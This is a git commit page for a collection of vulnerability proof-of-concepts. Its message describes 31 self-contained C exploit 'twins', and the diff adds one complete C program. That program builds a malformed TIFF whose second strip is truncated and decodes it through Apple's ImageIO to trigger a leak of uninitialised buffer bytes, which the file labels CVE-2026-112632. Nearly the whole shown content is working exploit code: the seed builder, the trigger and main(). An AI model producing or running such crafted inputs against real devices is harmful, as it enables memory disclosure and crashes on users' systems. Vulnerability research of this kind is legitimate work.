v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,175 @@
|
||||
// iio.tiff.trunc · ImageIO · decodeStripChunky · CVE-2026-112632
|
||||
// Truncated strip scatter of uninitialised buffer bytes
|
||||
// C twin of the Swift POC: builds the truncated-strip TIFF and decodes it through ImageIO.
|
||||
// Build: clang -O2 -o cve-2026-112632 CVE-2026-112632.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
|
||||
// Run: ./cve-2026-112632 [width] [height]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// ── byte buffer ──
|
||||
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
||||
static void bneed(buf *b, size_t extra) {
|
||||
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
||||
}
|
||||
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
||||
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
||||
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
|
||||
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
||||
|
||||
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
|
||||
static void le32(buf *b, uint32_t v) {
|
||||
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
|
||||
}
|
||||
|
||||
// ── TIFF IFD builder (from Cinder27 Sources: TIFFPayload.build) ──
|
||||
// Entry values longer than 4 bytes must be supplied as a blob under the same tag.
|
||||
typedef struct { uint16_t tag, type; uint32_t count; const uint8_t *value; size_t value_n; } tentry;
|
||||
typedef struct { uint16_t tag; const uint8_t *bytes; size_t n; } tblob;
|
||||
|
||||
static buf tiff_build(const tentry *entries, int n, const tblob *blobs, int nblobs) {
|
||||
size_t ifd_size = 2 + (size_t)n * 12 + 4;
|
||||
size_t extra_offset = 8 + ifd_size;
|
||||
if (extra_offset % 2) extra_offset++;
|
||||
|
||||
// sort entries by tag
|
||||
tentry sorted[16];
|
||||
memcpy(sorted, entries, (size_t)n * sizeof(tentry));
|
||||
for (int i = 0; i < n; i++) for (int j = i + 1; j < n; j++) {
|
||||
if (sorted[j].tag < sorted[i].tag) { tentry t = sorted[i]; sorted[i] = sorted[j]; sorted[j] = t; }
|
||||
}
|
||||
|
||||
// blob offsets, assigned in blob order
|
||||
size_t blob_off[8] = {0};
|
||||
size_t cur = extra_offset;
|
||||
for (int i = 0; i < nblobs; i++) { blob_off[i] = cur; cur += blobs[i].n; }
|
||||
|
||||
buf out = {0};
|
||||
bcat(&out, "II\x2a\x00", 4);
|
||||
le32(&out, 8);
|
||||
le16(&out, (uint16_t)n);
|
||||
for (int i = 0; i < n; i++) {
|
||||
const tentry *e = &sorted[i];
|
||||
le16(&out, e->tag);
|
||||
le16(&out, e->type);
|
||||
le32(&out, e->count);
|
||||
if (e->value_n <= 4) {
|
||||
bcat(&out, e->value, e->value_n);
|
||||
brep(&out, 0, 4 - e->value_n);
|
||||
} else {
|
||||
// find the blob carrying this tag
|
||||
size_t off = 0;
|
||||
for (int j = 0; j < nblobs; j++) if (blobs[j].tag == e->tag) { off = blob_off[j]; break; }
|
||||
le32(&out, (uint32_t)off);
|
||||
}
|
||||
}
|
||||
le32(&out, 0); // next IFD
|
||||
if (out.n < extra_offset) brep(&out, 0, extra_offset - out.n);
|
||||
for (int i = 0; i < nblobs; i++) bcat(&out, blobs[i].bytes, blobs[i].n);
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── seed construction (from Cinder27 Sources: TIFFPayload.truncatedStrip) ──
|
||||
static buf tiff_truncated_strip(int width, int height) {
|
||||
uint32_t strip_bytes = (uint32_t)(width * height / 2);
|
||||
uint8_t placeholder[8] = {0};
|
||||
uint8_t counts[8], v256[4], v257[4], v258[2], v259[2], v262[2], v277[2], v278[4], v284[2];
|
||||
// inline values
|
||||
{
|
||||
uint8_t w[4] = {(uint8_t)width, (uint8_t)(width >> 8), (uint8_t)(width >> 16), (uint8_t)(width >> 24)};
|
||||
uint8_t h[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)};
|
||||
uint8_t rows[4] = {(uint8_t)(height / 2), (uint8_t)((height / 2) >> 8), 0, 0};
|
||||
memcpy(v256, w, 4); memcpy(v257, h, 4); memcpy(v278, rows, 4);
|
||||
}
|
||||
v258[0] = 8; v258[1] = 0; // BitsPerSample
|
||||
v259[0] = 1; v259[1] = 0; // compression none
|
||||
v262[0] = 1; v262[1] = 0; // photometric min-is-black
|
||||
v277[0] = 1; v277[1] = 0; // spp 1
|
||||
v284[0] = 1; v284[1] = 0; // planar chunky
|
||||
{
|
||||
buf c = {0};
|
||||
le32(&c, strip_bytes); le32(&c, strip_bytes);
|
||||
memcpy(counts, c.d, 8);
|
||||
bfree(&c);
|
||||
}
|
||||
|
||||
tentry entries[10] = {
|
||||
{256, 4, 1, v256, 4},
|
||||
{257, 4, 1, v257, 4},
|
||||
{258, 3, 1, v258, 2},
|
||||
{259, 3, 1, v259, 2},
|
||||
{262, 3, 1, v262, 2},
|
||||
{273, 4, 2, placeholder, 8},
|
||||
{277, 3, 1, v277, 2},
|
||||
{278, 4, 1, v278, 4},
|
||||
{279, 4, 2, counts, 8},
|
||||
{284, 3, 1, v284, 2},
|
||||
};
|
||||
tblob blobs[1] = { {273, placeholder, 8} };
|
||||
|
||||
// pass 1: placeholder fixes the layout
|
||||
buf data = tiff_build(entries, 10, blobs, 1);
|
||||
uint32_t base = (uint32_t)data.n;
|
||||
bfree(&data);
|
||||
|
||||
// pass 2: real strip offsets (identical layout)
|
||||
uint8_t offsets[8];
|
||||
{
|
||||
buf c = {0};
|
||||
le32(&c, base); le32(&c, base + strip_bytes);
|
||||
memcpy(offsets, c.d, 8);
|
||||
bfree(&c);
|
||||
}
|
||||
entries[5].value = offsets;
|
||||
tblob blobs2[1] = { {273, offsets, 8} };
|
||||
data = tiff_build(entries, 10, blobs2, 1);
|
||||
|
||||
// strip 1: full; strip 2: physically truncated to 16 bytes
|
||||
brep(&data, 0x33, strip_bytes);
|
||||
brep(&data, 0x00, 16);
|
||||
return data;
|
||||
}
|
||||
|
||||
// ── trigger: decode through ImageIO ──
|
||||
#include <ImageIO/ImageIO.h>
|
||||
#include <CoreGraphics/CoreGraphics.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
static int decode_image(const buf *img, const char **detail) {
|
||||
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
|
||||
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
|
||||
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
|
||||
CFRelease(cf);
|
||||
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
|
||||
size_t frames = CGImageSourceGetCount(src);
|
||||
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
|
||||
static char r[256];
|
||||
if (cg) {
|
||||
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
|
||||
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
|
||||
CGImageRelease(cg);
|
||||
} else {
|
||||
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
|
||||
}
|
||||
CFRelease(src);
|
||||
*detail = r;
|
||||
return cg ? 0 : -1;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int width = argc > 1 ? atoi(argv[1]) : 32;
|
||||
int height = argc > 2 ? atoi(argv[2]) : 32;
|
||||
|
||||
buf tiff = tiff_truncated_strip(width, height);
|
||||
FILE *f = fopen("trunc_strip.tif", "wb");
|
||||
if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); }
|
||||
|
||||
const char *detail = NULL;
|
||||
int rc = decode_image(&tiff, &detail);
|
||||
printf("CVE-2026-112632 · %dx%d, strip byte counts claim %d, second strip is 16 B · %s\n",
|
||||
width, height, width * height / 2, detail ? detail : "?");
|
||||
printf("seed: trunc_strip.tif (%zu B) · exit code %d\n", tiff.n, rc);
|
||||
bfree(&tiff);
|
||||
return rc == 0 ? 0 : 1;
|
||||
}
|
||||
Reference in new issue
Block a user